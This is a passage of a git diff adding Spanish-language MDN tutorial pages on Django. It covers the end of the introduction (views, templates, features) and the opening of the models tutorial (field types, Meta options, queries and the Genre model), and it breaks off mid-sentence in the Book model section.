U09. La línea en negrilla muestra como podemos usar la API de consulta del modelo para filtrar todos los registros donde el campo <code>team_level</code> tenga exactamente el texto 'U09' (fíjate como este criterio se pasa como argumento a la función<code> filter()</code> con el nombre del campo y tipo de coincidencia separados por un doble guion bajo: <strong>team_level__exact</strong>).</p> + +<pre class="brush: python">## filename: views.py + +from django.shortcuts import render +from .models import Team + +def index(request): + <strong>list_teams = Team.objects.filter(team_level__exact="U09")</strong> + context = {'youngest_teams': list_teams} + return render(request, '/best/index.html', context) +</pre> + +<dl> +</dl> + +<p>Esta función utiliza la función <code>render()</code> para crear la <code>HttpResponse</code> que se envía de vuelta al explorador. Esta función es un <em>atajo</em>; crea un fichero HTML mediante la combinación de una plantilla HTML específica y algunos datos para insertar en ella (proporcionados en la variable "<code>context</code>"). En la siguiente sección mostramos como la plantilla tiene los datos insertados en ella para crear el HTML.</p> + +<h3 id="Renderización_de_los_datos_plantillas_HTML">Renderización de los datos (plantillas HTML)</h3> + +<p>Los sistemas de plantillas permiten especificar la estructura de un documento de salida usando marcadores de posición para los datos que serán rellenados cuando se genere la página. Las plantillas se usan con frecuencia para crear HTML, también pueden crear otros tipos de documentos. Django soporta de fábrica tanto su sistema de plantillas nativo como otra biblioteca Python popular llamada <strong>Jinja2</strong> (y se puede hacer que soporte otros sistemas si hace falta).</p> + +<p>El fragmento de código de más abajo muestra el aspecto que podría tener la plantilla HTML llamada por la función <code>render()</code> de la sección anterior. Esta plantilla ha sido escrita bajo la suposición de que cuando sea renderizada tendrá acceso a una variable tipo lista llamada <code>youngest_teams</code> (contenida en la variable <code>context</code> dentro de la función <code>render()</code> de más arriba). Dentro del esqueleto HTML tenemos una expresión que primero comprueba que existe la variable <code>youngest_teams</code>, y luego itera sobre ella en un bucle <code>for</code>. En cada iteración la plantilla presenta cada valor del campo <code>team_name</code> del equipo en un elemento {{htmlelement("li")}}.</p> + +<pre class="brush: python">## filename: best/templates/best/index.html + +<!DOCTYPE html> +<html lang="en"> +<body> + + {% if youngest_teams %} + <ul> + {% for team in youngest_teams %} + <li>\{\{ team.team_name \}\}</li> + {% endfor %} + </ul> +{% else %} + <p>No teams are available.</p> +{% endif %} + +</body> +</html></pre> + +<h2 id="¿Qué_más_puedes_hacer">¿Qué más puedes hacer?</h2> + +<p>Las secciones prededentes muestran las principales características que usarás en casi todas las aplicaciones web: mapeo de URLs, vistas, modelos y plantillas. Sólo unas pocas de las otras cosas que Django proporciona y que incluyen:</p> + +<ul> + <li><strong>Formularios</strong>: Los formularios HTML se usan para recolectar datos de los usuarios para su procesamiento en el servidor. Django simplifica la creación, validación y procesamiento de los formularios.</li> + <li><strong>Autenticación y permisos de los usuarios</strong>: Django incluye un sistema robusto de autenticación y permisos que ha sido construido con la seguridad en mente.</li> + <li><strong>Cacheo</strong>: La creación dinámica de contenido es mucho más intensiva computacionalmente (y lenta) que un servico de contenido estático. Django proporciona un cacheo flexible de forma que puedes almacenar todo o parte de una página renderizada para que no sea re-renderizada nada más que cuando sea necesario.</li> + <li><strong>Sitio de Administracion</strong>: el sitio de administración de Django está incluido por defecto cuando creas una app usando el esqueleto básico. Esto hace que sea trivialmente fácil proporcionar una página de adminsitración para que los administradores puedan crear, editar y visualizar cualquiera de los modelos de datos de su sitio.</li> + <li><strong>Serialización de datos</strong>: Django hace fácil el serializar y servir tus datos como XML o JSON. Esto puede ser útil cuando se está creando un servicio web (un sitio web que sólo sirve datos para ser consumidos por otras aplicaciones o sitios, y que no presenta en pantalla nada por sí mismo), o cuando se crea un sitio web en el que el código del lado cliente maneja toda la renderización de los datos.</li> +</ul> + +<h2 id="Sumario">Sumario</h2> + +<p>¡Felicidades, has completado el primer paso en tu viaje por Django! Deberías ahora ser consciente de los principales beneficios de Django, algo de su historia y a groso modo la pinta que tienen cada una de las partes principales de una de sus apps. Deberías también haber aprendido unas pocas cosas acerca del lenguaje de programación Python, incluyendo la sintaxis para las listas, funciones y clases.</p> + +<p>Has visto ya algo de código real de Django más arriba, pero a diferencia del código de lado cliente, necesitas configurar un entorno de desarrollo para hacerlo funcionar. Ese será nuestro siguiente paso.</p> + +<div>{{NextMenu("Learn/Server-side/Django/development_environment", "Learn/Server-side/Django")}} +<h2 id="En_este_módulo">En este módulo</h2> + +<ul> + <li><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Django/Introducci%C3%B3n">Introducción a Django</a></li> + <li><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Django/development_environment">Puesta en marcha de un entorno de desarrollo de Django</a></li> + <li><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Django/Tutorial_local_library_website">Tutorial de Django: Sitio web "Biblioteca Local"</a></li> + <li><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Django/skeleton_website">Tutorial de Django Parte 2: Creación del esqueleto de un sitio web</a></li> + <li><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Django/Models">Tutorial de Django Parte 3: Uso de modelos</a></li> + <li><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Django/Admin_site">Tutorial de Django Parte 4: Sitio de Administración de Django</a></li> + <li><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Django/Home_page">Tutorial de Django Parte 5: Creación de tu página de inicio</a></li> + <li><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Django/Generic_views">Tutorial de Django Parte 6: Listas genéricas y vistas de detalle</a></li> + <li><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Django/Sessions">Tutorial de Django Parte 7: Framework de sesiones</a></li> + <li><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Django/Authentication">Tutorial de Django Parte 8: Autenticación y permisos de Usuario</a></li> + <li><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Django/Forms">Tutorial de Django Parte 9: Trabajo con formularios</a></li> + <li><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Django/Testing">Tutorial de Django Parte 10: Probando una aplicación web Django</a></li> + <li><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Django/Deployment">Tutorial de Django Parte 11: Desplegando Django a producción</a></li> + <li><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Django/web_application_security">Seguridad de las aplicaciones web Django</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></li> +</ul> +</div> diff --git a/files/es/learn/server-side/django/models/index.html b/files/es/learn/server-side/django/models/index.html new file mode 100644 index 0000000000..95b6c670ea --- /dev/null +++ b/files/es/learn/server-side/django/models/index.html @@ -0,0 +1,490 @@ +--- +title: 'Tutorial Django Parte 3: Uso de modelos' +slug: Learn/Server-side/Django/Models +tags: + - Aprender + - Artículo + - Datos + - Modelo + - Principiante + - Tutorial + - django + - lado-servidor +translation_of: Learn/Server-side/Django/Models +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Server-side/Django/skeleton_website", "Learn/Server-side/Django/Admin_site", "Learn/Server-side/Django")}}</div> + +<p class="summary">Este artículo muestra cómo definir modelos para el sitio web de la <a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Django/Tutorial_local_library_website">BibliotecaLocal</a>. En él se explica lo que es un modelo, cómo se declara, y cuáles son algunos de los principales tipos de campos de un modelo. También veremos, brevemente, cuáles son algunas de las maneras en que puede accederse a los datos del modelo.</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">Pre-requisitos:</th> + <td><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Django/skeleton_website">Tutorial Django Parte 2: Creación del esqueleto del sitio web</a>.</td> + </tr> + <tr> + <th scope="row">Objetivo:</th> + <td> + <p>Ser capaz de diseñar y crear tus propios modelos, eligiendo de forma apropiada los campos.</p> + </td> + </tr> + </tbody> +</table> + +<h2 id="Visión_general">Visión general</h2> + +<p>Las aplicaciones web de Django acceden y administran los datos a través de objetos de Python a los que se hace referencia como modelos. Los modelos definen la<em> estructura</em> de los datos almacenados, incluidos los <em>tipos</em> de campo y los atributos de cada campo, como su tamaño máximo, valores predeterminados, lista de selección de opciones, texto de ayuda para la documentación, texto de etiqueta para formularios, etc. La definición del modelo es independiente de la base de datos subyacente. puede elegir una de entre varias como parte de la configuración de su proyecto. Una vez que haya elegido la base de datos que desea usar, no necesita hablar directamente con ella. Simplemente escriba la estructura de su modelo y algo de código, y Django se encargará de todo el trabajo sucio, al comunicarse con la base de datos por usted.</p> + +<p>Este tutorial muestra cómo definir y acceder a los modelos para el ejemplo del <a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Django/Tutorial_local_library_website">sitio web LocalLibrary</a>.</p> + +<h2 id="Diseñando_los_modelos_de_LocalLibrary">Diseñando los modelos de LocalLibrary</h2> + +<p>Antes de dar el salto y comenzar a codificar los modelos, vale la pena tomarse unos minutos para pensar qué datos necesitamos almacenar y cuáles serán las relaciones entre los diferentes objetos.</p> + +<p>Sabemos que tenemos que almacenar información sobre libros (título, resumen, autor, idioma escrito, categoría, ISBN) y que podríamos tener varias copias disponibles (con id único global, estado de disponibilidad, etc.). Es posible que necesitemos almacenar más información sobre el autor que solo su nombre, y puede haber varios autores con el mismo nombre o nombres similares. Queremos poder ordenar la información según el título del libro, el autor, el idioma escrito y la categoría.</p> + +<p>Al diseñar sus modelos, tiene sentido tener modelos separados para cada "objeto" (grupo de información relacionada). En este caso, los objetos obvios son libros, instancias de libros y autores.</p> + +<p>También es posible que desee utilizar modelos para representar las opciones de la lista de selección (por ejemplo, como una lista desplegable de opciones), en lugar de codificar las opciones en el sitio web en sí; esto se recomienda cuando no se conocen de antemano todas las opciones posibles o éstas están sujetas a cambios. Los candidatos obvios para las modelos, en este caso, incluyen el género del libro (por ejemplo, ciencia ficción, poesía francesa, etc.) y el idioma (inglés, francés, japonés).</p> + +<p>Una vez que hayamos decidido cuáles serán nuestros modelos y sus campos, debemos pensar en la relación que existe entre ellos. Django le permite definir relaciones de uno a uno (<span style='font-family: "Courier New";'>OneToOneField</span>), de uno a muchos (<span style='font-family: "Courier New";'>ForeignKey</span>) y de muchos a muchos (<span style='font-family: "Courier New";'>ManyToManyField</span>).</p> + +<p>Con esto en mente, el diagrama de asociación UML a continuación muestra los modelos que definiremos en este caso (como recuadros). Como se mencionó anteriormente, hemos creado modelos para el libro (los detalles genéricos del libro), instancia del libro (estado de copias físicas específicas del libro disponible en el sistema) y autor. También hemos decidido tener un modelo para el género, para que los valores se puedan crear/seleccionar a través de la interfaz admin. Hemos decidido no tener un modelo para el <span style='font-family: "Courier New";'>BookInstance:status</span>, en su lugar, hemos especificado directamente, en el código, los valores (<span style='font-family: "Courier New";'>LOAN_STATUS</span>) porque no esperamos que cambien. Dentro de cada uno de los cuadros, puede ver el nombre del modelo, los nombres y tipos de campo, y también los métodos y sus tipos de devolución.</p> + +<p>El diagrama también muestra las relaciones entre los modelos, incluida su <em>cardinalidad</em>. La cardinalidad expresa la cantidad de instancias (máximo y mínimo) de cada modelo que pueden estar presentes en la relación. Por ejemplo, la línea de conexión entre los cuadros muestra que <em>Book</em> y <em>Genre</em> están relacionados. Los números cercanos al modelo <em>Book</em> muestran que un libro debe tener uno o más <em>Genres</em> (tantos como desee), mientras que los números al otro lado de la línea al lado de <em>Genre</em> muestran que puede tener cero o más libros asociados.</p> + +<p><img alt="LocalLibrary Model UML" src="https://mdn.mozillademos.org/files/15646/local_library_model_uml.png" style="height: 660px; width: 977px;"></p> + +<div class="note"> +<p><strong>Nota</strong>: La siguiente sección proporciona un manual básico que explica cómo se definen y utilizan los modelos. Mientras lo lees, considera cómo construiremos cada uno de los modelos en el diagrama de arriba.</p> +</div> + +<h2 id="Cartilla_del_Modelo">Cartilla del Modelo</h2> + +<p>Esta sección provee una vista resumida de cómo se define un modelo y algunos de los campos más importantes y argumentos de campo. </p> + +<h3 id="Definición_de_modelo">Definición de modelo</h3> + +<p>Los modelos están definidos, normalmente, en el archivo <strong>models.py</strong> de la aplicación. Son implementados como subclases de <code>django.db.models.Model</code>, y pueden incluir campos, métodos y metadata. El fragmento de código más abajo muestra un modelo "típico", llamado <code>MyModelName</code>:</p> + +<pre class="notranslate">from django.db import models + +class MyModelName(models.Model): + """ + Una clase típica definiendo un modelo, derivado desde la clase Model. + """ + + # Campos + my_field_name = models.CharField(max_length=20, help_text="Enter field documentation") + ... + + # Metadata + class Meta: + ordering = ["-my_field_name"] + + # Métodos + def get_absolute_url(self): + """ + Devuelve la url para acceder a una instancia particular de MyModelName. + """ + return reverse('model-detail-view', args=[str(self.id)]) + + def __str__(self): + """ + Cadena para representar el objeto MyModelName (en el sitio de Admin, etc.) + """ + return self.field_name</pre> + +<p>En las secciones de abajo exploraremos cada una de las características interiores de un modelo en detalle:</p> + +<h4 id="Campos">Campos</h4> + +<p>Un modelo puede tener un número arbitrario de campos, de cualquier tipo. Cada uno representa una columna de datos que queremos guardar en nuestras tablas de la base de datos. Cada registro de la base de datos (fila) consistirá en uno de cada posible valor del campo. Echemos un vistazo al ejemplo visto arriba:</p> + +<pre class="brush: js notranslate">my_field_name = models.CharField(max_length=20, help_text="Enter field documentation")</pre> + +<p>Nuestro ejemplo de arriba tiene un único campo llamado <code>my_field_name</code>, de tipo <code>models.CharField</code> — lo que significa que este campo contendrá una cadena de caracteres alfanuméricos. Los tipos de campo son asignados usando clases específicas, que determinan el tipo de registro que se usa para guardar el dato en la base, junto con un criterio de evaluación que se usará cuando se reciban los valores de un formulario HTML (es decir, qué constituye un valor válido). Los tipos de campo pueden también tomar argumentos que especifican además cómo se guarda o cómo se puede usar. En este caso le damos a nuestro campo dos argumentos:</p> + +<ul> + <li><code>max_length=20</code> — Establece que la longitud máxima del valor de este campo es 20 caracteres.</li> + <li><code>help_text="Enter field documentation"</code> — proporciona una etiqueta de texto para mostrar que ayuda a los usuarios a saber qué valor proporcionar cuando un usuario ha de introducirlo via un formulario HTML.</li> +</ul> + +<p>El nombre del campo se usa para referirnos a él en consultas (<em>queries</em>) y plantillas (<em>templates</em>). Los campos también tienen una etiqueta, que puede ser especificada como argumento (<code>verbose_name</code>) o inferida automáticamente, a partir del nombre de variable que identifica al campo, capitalizando la primera letra y reemplazando los guiones bajos por espacios (por ejemplo <code>my_field_name</code> tendría la etiqueta por defecto de <em>My field name</em>). El orden en que los campos son declarados afectará su orden por defecto si un modelo es renderizado en un formulario (ej. en el sitio de Administración), aunque este comportamiento se puede anular.</p> + +<h5 id="Argumentos_comunes_de_los_campos">Argumentos comunes de los campos</h5> + +<p>Los siguientes argumentos son comunes a la mayoría de los tipos de campo y pueden usarse al declararlos:</p> + +<ul> + <li><a href="https://docs.djangoproject.com/en/1.10/ref/models/fields/#help-text">help_text</a>: Proporciona una etiqueta de texto para formularios HTML (ej. en el sitio de Administración), tal como se describe arriba.</li> + <li><a href="https://docs.djangoproject.com/en/1.10/ref/models/fields/#verbose-name">verbose_name</a>: Nombre de fácil lectura que se usa en etiquetas para el campo. Si no se especifica, Django inferirá el valor por defecto del verbose name a partir del nombre del campo.</li> + <li><a href="https://docs.djangoproject.com/en/1.10/ref/models/fields/#default">default</a>: Valor por defecto para el campo. Puede ser un valor o un <em>callable object</em> (objeto que puede ser llamado como una función), en cuyo caso el objeto será llamado cada vez que se cree un nuevo registro.</li> + <li><a href="https://docs.djangoproject.com/en/1.10/ref/models/fields/#null">null</a>: Si es <code>True</code>, Django guardará valores en blanco o vacíos como <code>NULL</code> en la base de datos para campos donde sea apropiado (un <code>CharField</code> guardará una cadena vacía en su lugar). Por defecto es <code>False</code>.</li> + <li><a href="https://docs.djangoproject.com/en/1.10/ref/models/fields/#blank">blank</a>: Si es <code>True</code>, se permite que el campo quede en blanco en tus formularios. El valor por defecto es <code>False</code>, lo que significa que la validación de formularios de Django te forzará a introducir un valor. Con frecuencia se usa con <code>null=True</code>, porque si vas a permitir valores en blanco, también querrás que la base de datos sea capaz de representarlos de forma apropiada.</li> + <li><a href="https://docs.djangoproject.com/en/1.10/ref/models/fields/#choices">choices</a>: Un grupo de valores de selección para este campo. Si se proporciona, el widget correspondiente por defecto del formulario será una caja de selección con estos valores de selección en vez del campo de texto estándar.</li> + <li><a href="https://docs.djangoproject.com/en/1.10/ref/models/fields/#primary-key">primary_key</a>: Si es <code>True</code>, establece el campo actual como clave primaria para el modelo (Una clave primaria es una columna especial de la base de datos, diseñada para identificar de forma única todos los diferentes registros de una tabla). Si no se especifica ningún campo como clave primaria, Django añadirá automáticamente un campo para este propósito.</li> +</ul> + +<p>Hay muchas otras opciones — puedes ver la <a href="https://docs.djangoproject.com/en/1.10/ref/models/fields/#field-options">lista completa de opciones aquí</a>.</p> + +<h5 id="Tipos_comunes_de_campos">Tipos comunes de campos</h5> + +<p>La lista siguiente describe algunos de los tipos de campo más comunmente usados. </p> + +<ul> + <li><a href="https://docs.djangoproject.com/en/1.10/ref/models/fields/#django.db.models.CharField">CharField</a> se usa para definir cadenas de longitud corta a media. Debes especificar la <code>max_length</code> (longitud máxima) de los datos que se guardarán.</li> + <li><a href="https://docs.djangoproject.com/en/1.10/ref/models/fields/#django.db.models.TextField">TextField</a> se usa para cadenas de longitud grande o arbitraria. Puedes especificar una <code>max_length</code> para el campo, pero sólo se usa cuando el campo se muestra en formularios (no se fuerza al nivel de la base de datos).</li> + <li><a href="https://docs.djangoproject.com/en/1.10/ref/models/fields/#django.db.models.IntegerField" title="django.db.models.IntegerField">IntegerField</a> es un campo para almacenar valores de números enteros y para validar los valores introducidos como enteros en los formularios.</li> + <li><a href="https://docs.djangoproject.com/en/1.10/ref/models/fields/#datefield">DateField</a> y <a href="https://docs.djangoproject.com/en/1.10/ref/models/fields/#datetimefield">DateTimeField</a> se usan para guardar/representar fechas e información fecha/hora (como en los objetos Python <code>datetime.date</code> y <code>datetime.datetime</code>, respectivamente). Estos campos pueden adicionalmente declarar los parámetros (mutuamente excluyentes) <code>auto_now=True</code> (para establecer el campo a la fecha actual cada vez que se guarda el modelo), <code>auto_now_add</code> (para establecer sólo la fecha cuando se crea el modelo por primera vez), y <code>default</code> (para establecer una fecha por defecto que puede ser sobreescrita por el usuario).</li> + <li><a href="https://docs.djangoproject.com/en/1.10/ref/models/fields/#emailfield">EmailField</a> se usa para validar direcciones de correo electrónico.</li> + <li><a href="https://docs.djangoproject.com/en/1.10/ref/models/fields/#filefield">FileField</a> e <a href="https://docs.djangoproject.com/en/1.10/ref/models/fields/#imagefield">ImageField</a> se usan para subir ficheros e imágenes respectivamente (el <code>ImageField</code> añade simplemente una validación adicional de que el fichero subido es una imagen). Éstos tienen parámetros para definir cómo y donde se guardan los ficheros subidos.</li> + <li><a href="https://docs.djangoproject.com/en/1.10/ref/models/fields/#autofield">AutoField</a> es un tipo especial de <code>IntegerField</code> que se incrementa automáticamente. Cuando no especificas una clave primaria para tu modelo, se añade -automáticamente- una de éste tipo.</li> + <li><a href="https://docs.djangoproject.com/en/1.10/ref/models/fields/#foreignkey">ForeignKey</a> se usa para especificar una relación uno a muchos con otro modelo de la base de datos (ej. un coche tiene un fabricante, pero un fabricante puede hacer muchos coches). El lado "uno" de la relación es el modelo que contiene la clave.</li> + <li><a href="https://docs.djangoproject.com/en/1.10/ref/models/fields/#manytomanyfield">ManyToManyField</a> se usa para especificar una relación muchos a muchos (ej. un libro puede tener varios géneros, y cada género puede contener varios libros). En nuestra aplicación de la biblioteca usaremos ésta de forma muy similar a <code>ForeignKeys</code>, pero pueden usarse de formas más complicadas para describir las relaciones entre grupos. Éstas tienen el parámetro <code>on_delete</code> para definir que ocurre cuando un registro asociado se borra (ej. un valor de <code>models.SET_NULL</code> establecería simplemente el valor a <code>NULL</code>).</li> +</ul> + +<p>Hay muchos otros tipos de campos, incluyendo campos para diferentes tipos de números (enteros grandes, enteros pequeños, en coma flotante), boleanos, URLs, slugs, identificadores únicos, y otra información relacionada con el tiempo (duración, hora, etc..). Puedes ver la <a href="https://docs.djangoproject.com/en/1.10/ref/models/fields/#field-types">lista completa aquí</a>.</p> + +<h4 id="Metadatos">Metadatos</h4> + +<p>Puedes declarar metadatos a nivel de modelo para tu Modelo declarando <code>class Meta</code>, tal como se muestra.</p> + +<pre class="brush: python notranslate">class Meta: + ordering = ["-my_field_name"] + ...</pre> + +<p>Una de las características más útiles de estos metadatos es controlar el <em>orden por defecto</em> de los registros que se devuelven cuando se consulta el tipo de modelo. Se hace especificando el orden de comprobación en una lista de nombres de campo en el atributo <code>ordering</code>, como se muestra arriba. La ordenación dependerá del tipo de campo (los campos de caracteres de ordenan alfabéticamente, mientras que los campos de fechas están clasificados por orden cronológico). Como se muestra arriba, se puede invertir el orden de clasificación añadiendo el símbolo (-) como prefijo del nombre del campo.</p> + +<p>Así como ejemplo, si elegimos clasificar los libros de esta forma por defecto:</p> + +<pre class="brush: python notranslate">ordering = ["title", "-pubdate"]</pre> + +<p>los libros serán clasificados alfabéticamente por título, de la A al a Z, y luego por fecha de publicación dentro de cada título, desde el más reciente al más antiguo.</p> + +<p>Otro atributo común es <code>verbose_name</code>, un nombre descriptivo para la clase en forma singular y plural:</p> + +<pre class="brush: python notranslate">verbose_name = "BetterName"</pre> + +<p>Otros atributos útiles te permiten crear y aplicar nuevos "permisos de acceso" para el modelo (los permisos por defecto se aplican automáticamente), te permiten la ordenación basado en otro campo, o declarar que la clase es "abstracta" (una clase base para la que no vas a crear registros, y que en cambio se derivará para crear otros modelos).</p> + +<p>Muchas de las otras opciones de metadatos controlan qué base datos debe usarse para el modelo y cómo se guardan los datos (éstas son realmente útiles si necesitas mapear un modelo a una base datos existente).</p> + +<p>La lista completa de opciones de metadatos está disponible aquí: <a href="https://docs.djangoproject.com/es/2.0/ref/models/options/">Opciones de metadatos de Modelos</a> (Django docs).</p> + +<h4 id="Metodos">Metodos</h4> + +<p>Un modelo puede tener también métodos</p> + +<p>Minimamente, en cada modelo deberías definir el método estándar de las clases de Python <code>__str__()</code> para devolver una cadena de texto legible por humanos para cada objeto. Esta cadena se usa para representar registros individuales en el sitio de administración (y en cualquier otro lugar donde necesites referirte a una instancia del modelo). Con frecuencia éste devolverá un título o nombre de campo del modelo.</p> + +<pre class="brush: python notranslate">def __str__(self): + return self.field_name</pre> + +<p>Otro método común a incluir en los modelos de Django es <code>get_absolute_url()</code>, que devuelve un URL para presentar registros individuales del modelo en el sitio web (si defines este método, Django añadirá automáticamente un botón "Ver en el sitio" en la ventana de edición del registro del modelo en el sitio de Administración). Un patrón típico para <code>get_absolute_url()</code> se muestra abajo.</p> + +<pre class="brush: python notranslate">def get_absolute_url(self): + """ + Devuelve la url para acceder a una instancia particular del modelo. + """ + return reverse('model-detail-view', args=[str(self.id)]) +</pre> + +<div class="note"> +<p><strong>Nota</strong>: Asumiendo que usarás URLs tipo <code>/myapplication/mymodelname/2</code> para presentar registros individuales para tu modelo (donde "2" es el <code>id</code> de un registro en particular), necesitarás crear un mapeador URL para pasar la respuesta e id a la "vista detallada del modelo (model detail view)" (que hará el trabajo requerido para presentar el registro). La función <code>reverse()</code> de arriba es capaz de "invertir" tu mapeador url (llamado <em>'model-detail-view' </em>en el caso de arriba) para crear una URL del formato correcto.</p> + +<p>Por supuesto para hacer este trabajo ¡tienes aún que escribir el mapeo URL, la vista y la plantilla!</p> +</div> + +<p>Puedes también definir todos los métodos que te apetezca y llamarlos desde tu código o plantillas (siempre y cuando no reciban ningún parámetro).</p> + +<h3 id="Gestión_de_Modelos">Gestión de Modelos</h3> + +<p>Una vez que has definido tus clases de modelos puedes usarlas para crear, actualizar o borrar registros, y ejecutar consultas para obtener todos los registros o subconjuntos particulares de registros. Te mostraremos cómo hacer eso en el tutorial cuando definamos nuestras vistas, pero aquí va un breve resumen.</p> + +<h4 id="Creación_y_modificación_de_registros">Creación y modificación de registros</h4> + +<p>Para crear un registro puedes definir una instancia del modelo y llamar a <code>save()</code>.</p> + +<pre class="brush: python notranslate"># Creación de un nuevo registro usando el constructor del modelo. +a_record = MyModelName(my_field_name="Instancia #1") + +# Guardar el objeto en la base de datos. +a_record.save() +</pre> + +<div class="note"> +<p><strong>Nota</strong>: Si no has declarado ningún campo como <code>primary_key</code>, al nuevo registro se le proporcionará una automáticamente, con el nombre de campo <code>id</code>. Puedes consultar este campo después de guardar el registro anterior y debería tener un valor de 1.</p> +</div> + +<p>Puedes acceder a los campos de este nuevo registro usando la sintaxis de puntos y cambiar los valores. Tienes que llamar a <code>save()</code> para almacenar los valores modificados en la base de datos.</p> + +<pre class="brush: python notranslate"># Accesso a los valores de los campos del modelo usando atributos Python. +print(a_record.id) # Debería devolver 1 para el primer registro. +print(a_record.my_field_name) # Debería imprimir 'Instancia #1' + +# Cambio de un registro modificando los campos llamando a save() a continuación. +a_record.my_field_name="Nuevo Nombre de Instancia" +a_record.save()</pre> + +<h4 id="Búsqueda_de_registros">Búsqueda de registros</h4> + +<p>Puedes buscar registros que coincidan con un cierto criterio usando el atributo <code>objects</code> del modelo (proporcionado por la clase base).</p> + +<div class="note"> +<p><strong>Nota</strong>: Explicar cómo buscar registros usando un modelo y nombres de campo "abstractos" puede resultar un poco confuso. En la exposición de abajo nos referiremos a un modelo <code>Book</code> con campos <code>title</code> y <code>genre</code>, donde genre (género) es también un modelo con un solo campo <code>name</code>.</p> +</div> + +<p>Podemos obtener todos los registros de un modelo como <code>QuerySet</code>, usando <code>objects.all()</code>. El <code>QuerySet</code> es un objeto iterable, significando que contiene un número de objetos por los que podemos iterar/hacer bucle.</p> + +<pre class="brush: python notranslate">all_books = Book.objects.all() +</pre> + +<p>El método de Django <code>filter()</code> nos permite filtrar el <code>QuerySet</code> devuelto para que coincida un campo de <strong>texto</strong> o <strong>numérico</strong> con un criterio particular. Por ejemplo, para filtrar libros que contengan la palabra "wild" en el título y luego contarlos, podemos hacer lo siguiente:</p> + +<pre class="brush: python notranslate">wild_books = Book.objects.filter(title__contains='wild') +number_wild_books = Book.objects.filter(title__contains='wild').count() +</pre> + +<p>Los campos a buscar y el tipo de coincidencia son definidos en el nombre del parámetro de filtro, usando el formato: <code>field_name__match_type</code> (ten en cuenta el <em>doble guión bajo</em> entre <code>title</code> y <code>contains</code> anterior). En el ejemplo anterior estamos filtrando <code>title</code> por un valor sensible a mayúsculas y minúsculas. Puedes hacer otros muchos tipos de coincidencias: <code>icontains</code> (no sensible a mayúsculas ni minúsculas), <code>iexact</code> (coincidencia exacta no sensible a mayúsculas ni minúsculas), <code>exact</code> (coincidencia exacta sensible a mayúsculas y minúsculas) e <code>in</code>, <code>gt</code> (mayor que), <code>startswith</code>, etc. Puede ver la <a href="https://docs.djangoproject.com/en/1.10/ref/models/querysets/#field-lookups">lista completa aquí</a>.</p> + +<p>En algunos casos, necesitarás filtrar por un campo que define una relación uno-a-muchos con otro modelo (por ejemplo, una <code>ForeignKey</code>). En estos casos puedes "referenciar" a campos dentro del modelo relacionado con un doble guión bajo adicional. Así, por ejemplo, para filtrar los libros de un género específico tienes que referenciar el <code>name</code> a través del campo <code>genre</code> como se muestra más abajo:</p> + +<pre class="brush: python notranslate">books_containing_genre = Book.objects.filter(genre<strong>__</strong>name<strong>__</strong>icontains='fiction') # Will match on: Fiction, Science fiction, non-fiction etc. +</pre> + +<div class="note"> +<p><strong>Nota</strong>: Puedes usar guiones bajos (__) para navegar por tantos niveles de relaciones (<code>ForeignKey</code>/<code>ManyToManyField</code>) como quieras. Por ejemplo, un Book que tuviera diferentes "types", definidos usando una relación adicional "cover", podría tener un nombre de parámetro: <code>type__cover__name__exact='hard'.</code></p> +</div> + +<p>Puedes hacer muchas más cosas con las consultas, incluyendo búsquedas hacia atrás de modelos relacionados, filtros encadenados, devolver un conjunto de valores más pequeño, etc. Para más información, puedes consultar <a href="https://docs.djangoproject.com/en/1.10/topics/db/queries/">Elaborar consultas</a> (Django Docs).</p> + +<h2 id="Definiendo_los_Modelos_de_LocalLybrary">Definiendo los Modelos de LocalLybrary</h2> + +<p>En esta sección comenzaremos a definir los modelos para nuestra biblioteca. Abre <em>models.py (en /locallibrary/catalog/)</em>. El código de más arriba importa el módulo <code>models</code> que contiene la clase <code>models.Model</code>, que servirá de base para nuestros modelos:</p> + +<pre class="brush: python notranslate">from django.db import models + +# Create your models here.</pre> + +<h3 id="Modelo_Genre">Modelo 'Genre'</h3> + +<p>Copia el código del modelo <code>Genre</code> que se muestra abajo y pégalo al final de tu archivo <code>models.py</code>. Este modelo nos servirá para almacenar información relativa a la categoría del libro (por ejemplo, si es ficción o no, si es un romancero o es un libro de historia, etc.) Como se dijo más arriba, preferimos modelar el género (Genre) como una entidad, en vez de utilizar un campo de texto o una lista de opciones, porque de esta manera es posible manejar los valores a través de nuestra base de datos, en vez de fijarlo en el código (<em>hard-coding</em>)</p> + +<pre class="brush: python notranslate">class Genre(models.Model): + """ + Modelo que representa un género literario (p. ej. ciencia ficción, poesía, etc.). + """ + name = models.CharField(max_length=200, help_text="Ingrese el nombre del género (p. ej. Ciencia Ficción, Poesía Francesa etc.)") + + def __str__(self): + """ + Cadena que representa a la instancia particular del modelo (p. ej. en el sitio de Administración) + """ + return self.name</pre> + +<p>El modelo tiene un único campo (<code>name</code>), de tipo <code>CharField</code>, que usaremos para describir el género literario. Este campo tiene un tamaño máximo (<code>max_length</code>) de 200 caracteres y, además, posee un <code>help_text</code>. Al final de la clase, hemos declarado el método <code>__str__()</code>, que simplemente devuelve el nombre de un género definido por un registro en particular. Como no hemos definido un nombre explicativo (<code>verbose_name</code>) para nuestro campo, éste se establecerá en <code>Name</code> y se mostrará de esa manera en los formularios.</p> + +<h3 id="Modelo_Book">Modelo 'Book'</h3> + +<p>Copia el código del modelo <code>Book</code> que aparece más abajo y pégalo al final de tu archivo. El modelo Libro representa la información que se tiene sobre un libro, en sentido general, pero no sobre un libro particular que se encuentre disponible en la biblioteca. Este modelo utiliza campos de tipo 